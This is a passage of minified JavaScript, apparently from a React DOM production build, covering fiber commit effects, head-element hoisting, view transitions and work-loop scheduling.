1:if(Iu(e,n),r&4){if(e=n.stateNode,t===null)try{e.componentDidMount()}catch(e){Z(n,n.return,e)}else{var i=wc(n.type,t.memoizedProps);t=t.memoizedState;try{e.componentDidUpdate(i,t,e.__reactInternalSnapshotBeforeUpdate)}catch(e){Z(n,n.return,e)}}}r&64&&Tl(n),r&512&&Dl(n,n.return);break;case 3:if(Iu(e,n),r&64&&(e=n.updateQueue,e!==null)){if(t=null,n.child!==null)switch(n.child.tag){case 27:case 5:t=n.child.stateNode;break;case 1:t=n.child.stateNode}try{Do(e,t)}catch(e){Z(n,n.return,e)}}break;case 27:t===null&&r&4&&Bl(n);case 26:case 5:Iu(e,n),t===null&&r&4&&Pl(n),r&512&&Dl(n,n.return);break;case 12:Iu(e,n);break;case 31:Iu(e,n),r&4&&Tu(e,n);break;case 13:Iu(e,n),r&4&&Eu(e,n),r&64&&(e=n.memoizedState,e!==null&&(e=e.dehydrated,e!==null&&(n=_f.bind(null,n),cm(e,n))));break;case 22:if(r=n.memoizedState!==null||ou,!r){var a=t!==null&&t.memoizedState!==null||U;t=ou,i=U,ou=r,(U=a)&&!i?(r=2,n.subtreeFlags&8772&&(r|=1),Ru(e,n,r)):Iu(e,n),ou=t,U=i}break;case 30:Iu(e,n),r&512&&Dl(n,n.return);break;case 7:r&512&&Dl(n,n.return);default:Iu(e,n)}}function vu(e,t){for(e=e.child;e!==null;)yu(e,t),e=e.sibling}function yu(e,t){switch(e.tag){case 5:case 26:try{var n=e.stateNode;if(t){var r=n.style;typeof r.setProperty==`function`?r.setProperty(`display`,`none`,`important`):r.display=`none`}else{var i=e.stateNode,a=e.memoizedProps.style,o=a!=null&&a.hasOwnProperty(`display`)?a.display:null;i.style.display=o==null||typeof o==`boolean`?``:(``+o).trim()}}catch(t){Z(e,e.return,t)}bu(e,t);break;case 6:try{e.stateNode.nodeValue=t?``:e.memoizedProps,I=!0}catch(t){Z(e,e.return,t)}break;case 18:try{var s=e.stateNode;t?wp(s,!0):wp(e.stateNode,!1)}catch(t){Z(e,e.return,t)}break;case 22:case 23:e.memoizedState===null&&vu(e,t);break;default:vu(e,t)}}function bu(e,t){if(e.subtreeFlags&67108864)for(e=e.child;e!==null;){a:{var n=e,r=t;switch(n.tag){case 4:yu(n,r);break a;case 22:n.memoizedState===null&&bu(n,r);break a;default:bu(n,r)}}e=e.sibling}}function xu(e){var t=e.alternate;t!==null&&(e.alternate=null,xu(t)),e.child=null,e.deletions=null,e.sibling=null,e.tag===5&&(t=e.stateNode,t!==null&&A(t)),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}var W=null,Su=!1;function Cu(e,t,n){for(n=n.child;n!==null;)wu(e,t,n),n=n.sibling}function wu(e,t,n){if(ot&&typeof ot.onCommitFiberUnmount==`function`)try{ot.onCommitFiberUnmount(at,n)}catch{}switch(n.tag){case 26:U||Ol(n,t),Cu(e,t,n),n.memoizedState?n.memoizedState.count--:n.stateNode&&!U&&(n=n.stateNode,n.parentNode.removeChild(n));break;case 27:U||Ol(n,t),jl(n);var r=W,i=Su;Sp(n.type)&&(W=n.stateNode,Su=!1),Cu(e,t,n),gm(n.stateNode,n.type,n.memoizedProps),W=r,Su=i;break;case 5:U||Ol(n,t),jl(n);case 6:if(n.tag===6&&jl(n),r=W,i=Su,W=null,Cu(e,t,n),W=r,Su=i,W!==null){if(Su)try{(W.nodeType===9?W.body:W.nodeName===`HTML`?W.ownerDocument.body:W).removeChild(n.stateNode),I=!0}catch(e){Z(n,t,e)}else try{W.removeChild(n.stateNode),I=!0}catch(e){Z(n,t,e)}}break;case 18:W!==null&&(Su?(e=W,Cp(e.nodeType===9?e.body:e.nodeName===`HTML`?e.ownerDocument.body:e,n.stateNode),Hh(e)):Cp(W,n.stateNode));break;case 4:r=W,i=Su,W=n.stateNode.containerInfo,Su=!0,Cu(e,t,n),W=r,Su=i;break;case 0:case 11:case 14:case 15:wl(2,n,t),U||wl(4,n,t),Cu(e,t,n);break;case 1:U||(Ol(n,t),r=n.stateNode,typeof r.componentWillUnmount==`function`&&El(n,t,r)),Cu(e,t,n);break;case 21:Cu(e,t,n);break;case 22:U=(r=U)||n.memoizedState!==null,Cu(e,t,n),U=r;break;case 30:Ol(n,t),Cu(e,t,n);break;case 7:U||Ol(n,t),Cu(e,t,n);break;default:Cu(e,t,n)}}function Tu(e,t){if(t.memoizedState===null&&(e=t.alternate,e!==null&&(e=e.memoizedState,e!==null))){e=e.dehydrated;try{Hh(e)}catch(e){Z(t,t.return,e)}}}function Eu(e,t){if(t.memoizedState===null&&(e=t.alternate,e!==null&&(e=e.memoizedState,e!==null&&(e=e.dehydrated,e!==null))))try{Hh(e)}catch(e){Z(t,t.return,e)}}function Du(e){switch(e.tag){case 31:case 13:case 19:var t=e.stateNode;return t===null&&(t=e.stateNode=new lu),t;case 22:return e=e.stateNode,t=e._retryCache,t===null&&(t=e._retryCache=new lu),t;default:throw Error(i(435,e.tag))}}function Ou(e,t){var n=Du(e);t.forEach(function(t){if(!n.has(t)){n.add(t);var r=vf.bind(null,e,t);t.then(r,r)}})}function ku(e,t,n){var r=t.deletions;if(r!==null)for(var a=0;a<r.length;a++){var o=r[a],s=e,c=t,l=c;a:for(;l!==null;){switch(l.tag){case 27:if(Sp(l.type)){W=l.stateNode,Su=!1;break a}break;case 5:W=l.stateNode,Su=!1;break a;case 3:case 4:W=l.stateNode.containerInfo,Su=!0;break a}l=l.return}if(W===null)throw Error(i(160));wu(s,c,o),W=null,Su=!1,s=o.alternate,s!==null&&(s.return=null),o.return=null}if(t.subtreeFlags&13886)for(t=t.child;t!==null;)ju(t,e,n),t=t.sibling}var Au=null;function ju(e,t,n){var r=e.alternate,a=e.flags;switch(e.tag){case 0:case 11:case 14:case 15:if(a&4&&(r=e.updateQueue,r=r===null?null:r.events,r!==null))for(var o=0;o<r.length;o++){var s=r[o];s.ref.impl=s.nextImpl}ku(t,e,n),Mu(e),a&4&&(wl(3,e,e.return),Cl(3,e),wl(5,e,e.return));break;case 1:ku(t,e,n),Mu(e),a&512&&(U||r===null||Ol(r,r.return)),a&64&&ou&&(e=e.updateQueue,e!==null&&(t=e.callbacks,t!==null&&(n=e.shared.hiddenCallbacks,e.shared.hiddenCallbacks=n===null?t:n.concat(t))));break;case 26:if(o=Au,ku(t,e,n),Mu(e),a&512&&(U||r===null||Ol(r,r.return)),a&4){if(a=r===null?null:r.memoizedState,n=e.memoizedState,r===null){if(n===null){if(e.stateNode===null){if(ou)e.stateNode=fp(e.type,e.memoizedProps,t.containerInfo,e);else{a:{t=e.type,n=e.memoizedProps,a=o.ownerDocument||o;b:switch(t){case`title`:r=a.getElementsByTagName(`title`)[0],(!r||r[Rt]||r[k]||r.namespaceURI===`http://www.w3.org/2000/svg`||r.hasAttribute(`itemprop`))&&(r=a.createElement(t),a.head.insertBefore(r,a.querySelector(`head > title`))),np(r,t,n),r[k]=e,F(r),t=r;break a;case`link`:if(o=Gm(`link`,`href`,a).get(t+(n.href||``))){for(s=0;s<o.length;s++)if(r=o[s],r.getAttribute(`href`)===(n.href==null||n.href===``?null:n.href)&&r.getAttribute(`rel`)===(n.rel==null?null:n.rel)&&r.getAttribute(`title`)===(n.title==null?null:n.title)&&r.getAttribute(`crossorigin`)===(n.crossOrigin==null?null:n.crossOrigin)){o.splice(s,1);break b}}r=a.createElement(t),np(r,t,n),a.head.appendChild(r);break;case`meta`:if(o=Gm(`meta`,`content`,a).get(t+(n.content||``))){for(s=0;s<o.length;s++)if(r=o[s],r.getAttribute(`content`)===(n.content==null?null:``+n.content)&&r.getAttribute(`name`)===(n.name==null?null:n.name)&&r.getAttribute(`property`)===(n.property==null?null:n.property)&&r.getAttribute(`http-equiv`)===(n.httpEquiv==null?null:n.httpEquiv)&&r.getAttribute(`charset`)===(n.charSet==null?null:n.charSet)){o.splice(s,1);break b}}r=a.createElement(t),np(r,t,n),a.head.appendChild(r);break;default:throw Error(i(468,t))}r[k]=e,F(r),t=r}e.stateNode=t}}else ou||Km(o,e.type,e.stateNode)}else e.stateNode=Bm(o,n,e.memoizedProps)}else a===n?n===null&&e.stateNode!==null&&Fl(e,e.memoizedProps,r.memoizedProps):(a===null?(t=r.stateNode,t===null||U||t.parentNode.removeChild(t)):a.count--,n===null?ou||Km(o,e.type,e.stateNode):Bm(o,n,e.memoizedProps))}break;case 27:ku(t,e,n),Mu(e),a&512&&(U||r===null||Ol(r,r.return)),r!==null&&a&4&&Fl(e,e.memoizedProps,r.memoizedProps);break;case 5:if(o=su,su=!1,ku(t,e,n),su=o,Mu(e),a&512&&(U||r===null||Ol(r,r.return)),e.flags&32){t=e.stateNode;try{pn(t,``),I=!0}catch(t){Z(e,e.return,t)}}a&4&&e.stateNode!=null&&(t=e.memoizedProps,Fl(e,t,r===null?t:r.memoizedProps)),a&1024&&(cu=!0);break;case 6:if(ku(t,e,n),Mu(e),a&4){if(e.stateNode===null)throw Error(i(162));t=e.memoizedProps,n=e.stateNode;try{n.nodeValue=t,I=!0}catch(t){Z(e,e.return,t)}}break;case 3:if(I=!1,Wm=null,o=Au,Au=bm(t.containerInfo),ku(t,e,n),Au=o,Mu(e),a&4&&r!==null&&r.memoizedState.isDehydrated)try{Hh(t.containerInfo)}catch(t){Z(e,e.return,t)}cu&&(cu=!1,Nu(e)),I=!1;break;case 4:a=su,su=ou,r=Yt(),o=Au,Au=bm(e.stateNode.containerInfo),ku(t,e,n),Mu(e),Au=o,I&&fu&&(pu=!0),I=r,su=a;break;case 12:ku(t,e,n),Mu(e);break;case 31:ku(t,e,n),Mu(e),a&4&&(t=e.updateQueue,t!==null&&(e.updateQueue=null,Ou(e,t)));break;case 13:ku(t,e,n),Mu(e),e.child.flags&8192&&e.memoizedState!==null!=(r!==null&&r.memoizedState!==null)&&(hd=Xe()),a&4&&(t=e.updateQueue,t!==null&&(e.updateQueue=null,Ou(e,t)));break;case 22:o=e.memoizedState!==null,s=r!==null&&r.memoizedState!==null;var c=ou,l=U,u=su;ou=c||o,su=u||o,U=l||s,ku(t,e,n),U=l,su=u,ou=c,Mu(e),a&8192&&(t=e.stateNode,t._visibility=o?t._visibility&-2:t._visibility|1,!o||r===null||s||ou||U||(t=s||U,n=ou,r=U,ou=o||ou,U=t,Lu(e,2),ou=n,U=r),!o&&su||vu(e,o)),a&4&&(t=e.updateQueue,t!==null&&(n=t.retryQueue,n!==null&&(t.retryQueue=null,Ou(e,n))));break;case 19:ku(t,e,n),Mu(e),a&4&&(t=e.updateQueue,t!==null&&(e.updateQueue=null,Ou(e,t)));break;case 30:a&512&&(U||r===null||Ol(r,r.return)),a=Yt(),o=fu,s=(n&335544064)===n,c=e.memoizedProps,fu=s&&Si(c.default,c.update)!==`none`,ku(t,e,n),Mu(e),s&&r!==null&&I&&(e.flags|=4),fu=o,I=a;break;case 21:break;case 7:a&512&&(U||r===null||Ol(r,r.return)),r&&r.stateNode!==null&&(r.stateNode._fragmentFiber=e);default:ku(t,e,n),Mu(e)}}function Mu(e){var t=e.flags;if(t&2){try{for(var n,r=e.return;r!==null;){if(Il(r)){n=r;break}r=r.return}r=null;for(var a=e.return;a!==null;){if(Nl(a)){var o=a.stateNode;r===null?r=[o]:r.push(o)}if(Ml(a))break;a=a.return}var s=r;if(n==null)throw Error(i(160));switch(n.tag){case 27:var c=n.stateNode;zl(e,Ll(e),c,s);break;case 5:var l=n.stateNode;n.flags&32&&(pn(l,``),n.flags&=-33),zl(e,Ll(e),l,s);break;case 3:case 4:var u=n.stateNode.containerInfo;Rl(e,Ll(e),u,s);break;default:throw Error(i(161))}}catch(t){Z(e,e.return,t)}e.flags&=-3}t&4096&&(e.flags&=-4097)}function Nu(e){if(e.subtreeFlags&1024)for(e=e.child;e!==null;){var t=e;Nu(t),t.tag===5&&t.flags&1024&&(t=t.stateNode,gh=!0,t.reset(),gh=!1),e=e.sibling}}function Pu(e,t){if(t.subtreeFlags&9270)for(t=t.child;t!==null;)Fu(t,e),t=t.sibling;else au(t,!1)}function Fu(e,t){var n=e.alternate;if(n===null)Zl(e,!1);else switch(e.tag){case 3:if(mu=du=!1,Gl(),Pu(t,e),!du&&!pu){if(e=Wl,e!==null)for(var r=0;r<e.length;r+=3){n=e[r];var i=e[r+1];Ep(n,e[r+2]),n=n.ownerDocument.documentElement,n!==null&&n.animate({opacity:[0,0],pointerEvents:[`none`,`none`]},{duration:0,fill:`forwards`,pseudoElement:`::view-transition-group(`+i+`)`})}e=t.containerInfo,e=e.nodeType===9?e.documentElement:e.ownerDocument.documentElement,e!==null&&e.style.viewTransitionName===``&&(e.style.viewTransitionName=`none`,e.animate({opacity:[0,0],pointerEvents:[`none`,`none`]},{duration:0,fill:`forwards`,pseudoElement:`::view-transition-group(root)`}),e.animate({width:[0,0],height:[0,0]},{duration:0,fill:`forwards`,pseudoElement:`::view-transition`})),mu=!0}Wl=null;break;case 5:Pu(t,e);break;case 4:r=du,du=!1,Pu(t,e),du&&(pu=!0),du=r;break;case 22:e.memoizedState===null&&(n.memoizedState===null?Pu(t,e):Zl(e,!1));break;case 30:r=du,i=Gl(),du=!1,Pu(t,e),du&&(e.flags|=4);var a=e.memoizedProps,o=e.stateNode;t=bi(a,o),o=bi(n.memoizedProps,o);var s=Si(a.default,a.update);s===`none`?t=!1:(a=n.memoizedState,n.memoizedState=null,n=e.child,Kl=0,t=iu(e,n,t,o,s,a,!0),Kl!==(a===null?0:a.length)&&(e.flags|=32)),e.flags&4&&t?(Nd(e,e.memoizedProps.onUpdate),Wl=i):i!==null&&(i.push.apply(i,Wl),Wl=i),du=e.flags&32?!0:r;break;default:Pu(t,e)}}function Iu(e,t){if(t.subtreeFlags&8772)for(t=t.child;t!==null;)_u(e,t.alternate,t),t=t.sibling}function Lu(e,t){for(e=e.child;e!==null;){var n=e,r=t;switch(n.tag){case 0:case 11:case 14:case 15:wl(4,n,n.return),Lu(n,r);break;case 1:Ol(n,n.return);var i=n.stateNode;typeof i.componentWillUnmount==`function`&&El(n,n.return,i),Lu(n,r);break;case 27:r&2&&gm(n.stateNode,n.type,n.memoizedProps);case 5:Ol(n,n.return),n.tag!==5&&n.tag!==27||jl(n),Lu(n,r);break;case 6:jl(n);break;case 26:Ol(n,n.return),i=n.stateNode,n.memoizedState!==null||i===null||U||i.parentNode.removeChild(i),Lu(n,r);break;case 22:n.memoizedState===null&&Lu(n,r);break;case 30:Ol(n,n.return),Lu(n,r);break;case 7:Ol(n,n.return);default:Lu(n,r)}e=e.sibling}}function Ru(e,t,n){for(n=t.subtreeFlags&8772?n:n&-2,t=t.child;t!==null;){var r=t.alternate,i=e,a=t,o=a.flags,s=!!(n&1);switch(a.tag){case 0:case 11:case 15:Ru(i,a,n),Cl(4,a);break;case 1:if(Ru(i,a,n),r=a,i=r.stateNode,typeof i.componentDidMount==`function`)try{i.componentDidMount()}catch(e){Z(r,r.return,e)}if(r=a,i=r.updateQueue,i!==null){var c=r.stateNode;try{var l=i.shared.hiddenCallbacks;if(l!==null)for(i.shared.hiddenCallbacks=null,i=0;i<l.length;i++)Eo(l[i],c)}catch(e){Z(r,r.return,e)}}s&&o&64&&Tl(a),Dl(a,a.return);break;case 27:n&2&&Bl(a);case 5:a.tag!==5&&a.tag!==27||Al(a),Ru(i,a,n),s&&r===null&&o&4&&Pl(a),Dl(a,a.return);break;case 6:Al(a);break;case 26:c=a.stateNode,a.memoizedState!==null||c===null||ou||Km(bm(c.ownerDocument),a.type,c),Ru(i,a,n),s&&r===null&&o&4&&Pl(a),Dl(a,a.return);break;case 12:Ru(i,a,n);break;case 31:Ru(i,a,n),s&&o&4&&Tu(i,a);break;case 13:Ru(i,a,n),s&&o&4&&Eu(i,a);break;case 22:a.memoizedState===null&&Ru(i,a,n),Dl(a,a.return);break;case 30:Ru(i,a,n),Dl(a,a.return);break;case 7:Dl(a,a.return);default:Ru(i,a,n)}t=t.sibling}}function zu(e,t){var n=null;e!==null&&e.memoizedState!==null&&e.memoizedState.cachePool!==null&&(n=e.memoizedState.cachePool.pool),e=null,t.memoizedState!==null&&t.memoizedState.cachePool!==null&&(e=t.memoizedState.cachePool.pool),e!==n&&(e!=null&&e.refCount++,n!=null&&Fa(n))}function Bu(e,t){e=null,t.alternate!==null&&(e=t.alternate.memoizedState.cache),t=t.memoizedState.cache,t!==e&&(t.refCount++,e!=null&&Fa(e))}function Vu(e,t,n,r){var i=(n&335544064)===n;if(t.subtreeFlags&(i?10262:10256))for(t=t.child;t!==null;)Hu(e,t,n,r),t=t.sibling;else i&&ru(t)}function Hu(e,t,n,r){var i=(n&335544064)===n;i&&t.alternate===null&&t.return!==null&&t.return.alternate!==null&&nu(t);var a=t.flags;switch(t.tag){case 0:case 11:case 15:Vu(e,t,n,r),a&2048&&Cl(9,t);break;case 1:Vu(e,t,n,r);break;case 3:Vu(e,t,n,r),i&&mu&&(e=e.containerInfo,e=e.nodeType===9?e.body:e.nodeName===`HTML`?e.ownerDocument.body:e,e.style.viewTransitionName===`root`&&(e.style.viewTransitionName=``),e=e.ownerDocument.documentElement,e!==null&&e.style.viewTransitionName===`none`&&(e.style.viewTransitionName=``)),a&2048&&(a=null,t.alternate!==null&&(a=t.alternate.memoizedState.cache),t=t.memoizedState.cache,t!==a&&(t.refCount++,a!=null&&Fa(a)));break;case 12:if(a&2048){Vu(e,t,n,r),a=t.stateNode;try{var o=t.memoizedProps,s=o.id,c=o.onPostCommit;typeof c==`function`&&c(s,t.alternate===null?`mount`:`update`,a.passiveEffectDuration,-0)}catch(e){Z(t,t.return,e)}}else Vu(e,t,n,r);break;case 31:Vu(e,t,n,r);break;case 13:Vu(e,t,n,r);break;case 23:break;case 22:o=t.stateNode,s=t.alternate,t.memoizedState===null?(i&&s!==null&&s.memoizedState!==null&&nu(t),o._visibility&2?Vu(e,t,n,r):(o._visibility|=2,Uu(e,t,n,r,!!(t.subtreeFlags&10256)||!1))):(i&&s!==null&&s.memoizedState===null&&nu(s),o._visibility&2?Vu(e,t,n,r):Wu(e,t)),a&2048&&zu(s,t);break;case 24:Vu(e,t,n,r),a&2048&&Bu(t.alternate,t);break;case 30:i&&(a=t.alternate,a!==null&&(Yl(a.child,!0),Yl(t.child,!0))),Vu(e,t,n,r);break;default:Vu(e,t,n,r)}}function Uu(e,t,n,r,i){for(i&&=!!(t.subtreeFlags&10256)||!1,t=t.child;t!==null;){var a=e,o=t,s=n,c=r,l=o.flags;switch(o.tag){case 0:case 11:case 15:Uu(a,o,s,c,i),Cl(8,o);break;case 23:break;case 22:var u=o.stateNode;o.memoizedState===null?(u._visibility|=2,Uu(a,o,s,c,i)):u._visibility&2?Uu(a,o,s,c,i):Wu(a,o),i&&l&2048&&zu(o.alternate,o);break;case 24:Uu(a,o,s,c,i),i&&l&2048&&Bu(o.alternate,o);break;default:Uu(a,o,s,c,i)}t=t.sibling}}function Wu(e,t){if(t.subtreeFlags&10256)for(t=t.child;t!==null;){var n=e,r=t,i=r.flags;switch(r.tag){case 22:Wu(n,r),i&2048&&zu(r.alternate,r);break;case 24:Wu(n,r),i&2048&&Bu(r.alternate,r);break;default:Wu(n,r)}t=t.sibling}}var Gu=8192;function Ku(e,t,n){if(e.subtreeFlags&Gu)for(e=e.child;e!==null;)qu(e,t,n),e=e.sibling}function qu(e,t,n){switch(e.tag){case 26:Ku(e,t,n),e.flags&Gu&&(e.memoizedState===null?(e=e.stateNode,(t&335544128)===t&&Zm(n,e)):Qm(n,Au,e.memoizedState,e.memoizedProps));break;case 5:Ku(e,t,n),e.flags&Gu&&(e=e.stateNode,(t&335544128)===t&&Zm(n,e));break;case 3:case 4:var r=Au;Au=bm(e.stateNode.containerInfo),Ku(e,t,n),Au=r;break;case 22:e.memoizedState===null&&(r=e.alternate,r!==null&&r.memoizedState!==null?(r=Gu,Gu=16777216,Ku(e,t,n),Gu=r):Ku(e,t,n));break;case 30:if((e.flags&Gu)!==0&&(r=e.memoizedProps.name,r!=null&&r!==`auto`)){var i=e.stateNode;i.paired=null,Hl===null&&(Hl=new Map),Hl.set(r,i)}Ku(e,t,n);break;default:Ku(e,t,n)}}function Ju(e){var t=e.alternate;if(t!==null&&(e=t.child,e!==null)){t.child=null;do t=e.sibling,e.sibling=null,e=t;while(e!==null)}}function Yu(e){var t=e.deletions;if(e.flags&16){if(t!==null)for(var n=0;n<t.length;n++){var r=t[n];uu=r,Qu(r,e)}Ju(e)}if(e.subtreeFlags&10256)for(e=e.child;e!==null;)Xu(e),e=e.sibling}function Xu(e){switch(e.tag){case 0:case 11:case 15:Yu(e),e.flags&2048&&wl(9,e,e.return);break;case 3:Yu(e);break;case 12:Yu(e);break;case 22:var t=e.stateNode;e.memoizedState!==null&&t._visibility&2&&(e.return===null||e.return.tag!==13)?(t._visibility&=-3,Zu(e)):Yu(e);break;default:Yu(e)}}function Zu(e){var t=e.deletions;if(e.flags&16){if(t!==null)for(var n=0;n<t.length;n++){var r=t[n];uu=r,Qu(r,e)}Ju(e)}for(e=e.child;e!==null;){switch(t=e,t.tag){case 0:case 11:case 15:wl(8,t,t.return),Zu(t);break;case 22:n=t.stateNode,n._visibility&2&&(n._visibility&=-3,Zu(t));break;default:Zu(t)}e=e.sibling}}function Qu(e,t){for(;uu!==null;){var n=uu;switch(n.tag){case 0:case 11:case 15:wl(8,n,t);break;case 23:case 22:if(n.memoizedState!==null&&n.memoizedState.cachePool!==null){var r=n.memoizedState.cachePool.pool;r!=null&&r.refCount++}break;case 24:Fa(n.memoizedState.cache)}if(r=n.child,r!==null)r.return=n,uu=r;else a:for(n=e;uu!==null;){r=uu;var i=r.sibling,a=r.return;if(xu(r),r===n){uu=null;break a}if(i!==null){i.return=a,uu=i;break a}uu=a}}}var $u={getCacheForType:function(e){var t=Da(Na),n=t.data.get(e);return n===void 0&&(n=e(),t.data.set(e,n)),n},cacheSignal:function(){return Da(Na).controller.signal}},ed=typeof WeakMap==`function`?WeakMap:Map,G=0,K=null,q=null,J=0,Y=0,td=null,nd=!1,rd=!1,id=!1,ad=0,od=0,sd=0,cd=0,ld=0,ud=0,dd=0,fd=null,pd=null,md=!1,hd=0,gd=0,_d=1/0,vd=null,yd=null,X=0,bd=null,xd=null,Sd=0,Cd=0,wd=null,Td=null,Ed=null,Dd=null,Od=null,kd=0,Ad=null;function jd(){return G&2&&J!==0?J&-J:E.T===null?kt():Pf()}function Md(){if(ud===0){if(!(J&536870912)||R){var e=pt;pt<<=1,!(pt&3932160)&&(pt=262144),ud=e}else ud=536870912}return e=No.current,e!==null&&(e.flags|=32),ud}function Nd(e,t){if(t!=null){var n=e.stateNode,r=n.ref;r===null&&(r=n.ref=Pp(bi(e.memoizedProps,n))),Dd===null&&(Dd=[]),Dd.push(t.bind(null,r))}}function Pd(e,t,n){(e===K&&(Y===2||Y===9)||e.cancelPendingCommit!==null)&&(Vd(e,0),Rd(e,J,ud,!1)),St(e,n),(!(G&2)||e!==K)&&(e===K&&(!(G&2)&&(cd|=n),od===4&&Rd(e,J,ud,!1)),Ef(e))}function Fd(e,t,n){if(G&6)throw Error(i(327));var r=!n&&!(t&127)&&(t&e.expiredLanes)===0||_t(e,t),a=r?Yd(e,t):qd(e,t,!0),o=r;do{if(a===0){rd&&!r&&Rd(e,t,0,!1);break}if(n=e.current.alternate,o&&!Ld(n)){a=qd(e,t,!1),o=!1;continue}if(a===2){if(o=t,e.errorRecoveryDisabledLanes&o)var s=0;else s=e.pendingLanes&-536870913,s=s===0?s&536870912?536870912:0:s;if(s!==0){t=s;a:{var c=e;a=fd;var l=c.current.memoizedState.isDehydrated;if(l&&(Vd(c,s).flags|=256),s=qd(c,s,!1),s!==2&&s!==6){if(id&&!l){c.errorRecoveryDisabledLanes|=o,cd|=o,a=4;break a}o=pd,pd=a,o!==null&&(pd===null?pd=o:pd.push.apply(pd,o))}a=s}if(o=!1,a!==2)continue}}if(a===1){Vd(e,0),Rd(e,t,0,!0);break}a:{switch(r=e,o=a,o){case 0:case 1:throw Error(i(345));case 4:if((t&4194048)!==t&&(t&62914560)!==t)break;case 6:Rd(r,t,ud,!nd);break a;case 2:pd=null;break;case 3:case 5:break;default:throw Error(i(329))}if((t&62914560)===t&&(a=hd+300-Xe(),10<a)){if(Rd(r,t,ud,!nd),gt(r,0,!0)!==0)break a;Sd=t,r.timeoutHandle=gp(Id.bind(null,r,n,pd,vd,md,t,ud,cd,dd,nd,o,`Throttled`,-0,0),a);break a}Id(r,n,pd,vd,md,t,ud,cd,dd,nd,o,null,-0,0)}break}while(1);Ef(e)}function Id(e,t,n,r,i,a,o,s,c,l,u,d,f,p){e.timeoutHandle=-1;var m=t.subtreeFlags,h=(a&335544064)===a;if(d=null,(h||m&8192||(m&16785408)==16785408)&&(d={stylesheets:null,count:0,imgCount:0,imgBytes:0,suspenseyImages:[],waitingForImages:!0,waitingForViewTransition:!1,unsuspend:xn},Hl=null,qu(t,a,d),h&&(m=d,h=e.containerInfo,h=(h.nodeType===9?h:h.ownerDocument).__reactViewTransition,h!=null&&(m.count++,m.waitingForViewTransition=!0,m=nh.bind(m),h.finished.then(m,m))),m=(a&62914560)===a?hd-Xe():(a&4194048)===a?gd-Xe():0,m=eh(d,m),m!==null)){Sd=a,e.cancelPendingCommit=m(nf.bind(null,e,t,a,n,r,i,o,s,c,l,u,d,null,f,p)),Rd(e,a,o,!l);return}nf(e,t,a,n,r,i,o,s,c,l,u,d)}function Ld(e){for(var t=e;;){var n=t.tag;if((n===0||n===11||n===15)&&t.flags&16384&&(n=t.updateQueue,n!==null&&(n=n.stores,n!==null)))for(var r=0;r<n.length;r++){var i=n[r],a=i.getSnapshot;i=i.value;try{if(!Wr(a(),i))return!1}catch{return!1}}if(n=t.child,t.subtreeFlags&16384&&n!==null)n.return=t,t=n;else{if(t===e)break;for(;t.sibling===null;){if(t.return===null||t.return===e)return!0;t=t.return}t.sibling.return=t.return,t=t.sibling}}return!0}function Rd(e,t,n,r){t=vt(e,t),t&=~ld,t&=~cd,e.suspendedLanes|=t,e.pingedLanes&=~t,r&&(e.warmLanes|=t),r=e.expirationTimes;for(var i=t;0<i;){var a=31-ct(i),o=1<<a;r[a]=-1,i&=~o}n!==0&&wt(e,n,t)}function zd(){return G&6?!0:(Df(0,!1),!1)}function Bd(){if(q!==null){if(Y===0)var e=q.return;else e=q,ya=va=null,os(e),so=null,co=0,e=q;for(;e!==null;)Sl(e.alternate,e),e=e.return;q=null}}function Vd(e,t){var n=e.timeoutHandle;return n!==-1&&(e.timeoutHandle=-1,_p(n)),n=e.cancelPendingCommit,n!==null&&(e.cancelPendingCommit=null,n()),Sd=0,Bd(),K=e,q=n=Li(e.current,null),J=t,Y=0,td=null,nd=!1,rd=_t(e,t),id=!1,dd=ud=ld=cd=sd=od=0,pd=fd=null,md=!1,ad=vt(e,t),Di(),n}function Hd(e,t){z=null,E.H=gc,t===Za||t===$a?(t=ao(),Y=3):t===Qa?(t=ao(),Y=4):Y=t===Pc?8:typeof t==`object`&&t&&typeof t.then==`function`?6:1,td=t,q===null&&(od=1,Oc(e,Gi(t,e.current)))}function Ud(){var e=No.current;return e===null?!0:(J&4194048)===J?Po===null:(J&62914560)===J||J&536870912?e===Po:!1}function Wd(){var e=E.H;return E.H=gc,e===null?gc:e}function Gd(){var e=E.A;return E.A=$u,e}function Kd(){od=4,nd||(J&4194048)!==J&&No.current!==null||(rd=!0),!(sd&134217727)&&!(cd&134217727)||K===null||Rd(K,J,ud,!1)}function qd(e,t,n){var r=G;G|=2;var i=Wd(),a=Gd();(K!==e||J!==t)&&(vd=null,Vd(e,t)),t=!1;var o=od;a:do try{if(Y!==0&&q!==null){var s=q,c=td;switch(Y){case 8:Bd(),o=6;break a;case 3:case 2:case 9:case 6:No.current===null&&(t=!0);var l=Y;if(Y=0,td=null,$d(e,s,c,l),n&&rd){o=0;break a}break;default:l=Y,Y=0,td=null,$d(e,s,c,l)}}Jd(),o=od;break}catch(t){Hd(e,t)}while(1);return t&&e.shellSuspendCounter++,ya=va=null,G=r,E.H=i,E.A=a,q===null&&(K=null,J=0,Di()),o}function Jd(){for(;q!==null;)Zd(q)}function Yd(e,t){var n=G;G|=2;var r=Wd(),a=Gd();K!==e||J!==t?(vd=null,_d=Xe()+500,Vd(e,t)):rd=_t(e,t);a:do try{if(Y!==0&&q!==null){t=q;var o=td;b:switch(Y){case 1:Y=0,td=null,$d(e,t,o,1);break;case 2:case 9:if(to(o)){Y=0,td=null,Qd(t);break}t=function(){Y!==2&&Y!==9||K!==e||(Y=7),Ef(e)},o.then(t,t);break a;case 3:Y=7;break a;case 4:Y=5;break a;case 7:to(o)?(Y=0,td=null,Qd(t)):(Y=0,td=null,$d(e,t,o,7));break;case 5:var s=null;switch(q.tag){case 26:s=q.memoizedState;case 5:case 27:var c=q;if(s?Ym(s):c.stateNode.complete){Y=0,td=null;var l=c.sibling;if(l!==null)q=l;else{var u=c.return;u===null?q=null:(q=u,ef(u))}break b}}Y=0,td=null,$d(e,t,o,5);break;case 6:Y=0,td=null,$d(e,t,o,6);break;case 8:Bd(),od=6;break a;default:throw Error(i(462))}}Xd();break}catch(t){Hd(e,t)}while(1);return ya=va=null,E.H=r,E.A=a,G=n,q===null?(K=null,J=0,Di(),od):0}function Xd(){for(;q!==null&&!Je();)Zd(q)}function Zd(e){var t=ml(e.alternate,e,ad);e.memoizedProps=e.pendingProps,t===null?ef(e):q=t}function Qd(e){var t=e,n=t.alternate;switch(t.tag){case 15:case 0:t=Jc(n,t,t.pendingProps,t.type,void 0,J);break;case 11:t=Jc(n,t,t.pendingProps,t.type.render,t.ref,J);break;case 5:os(t);var 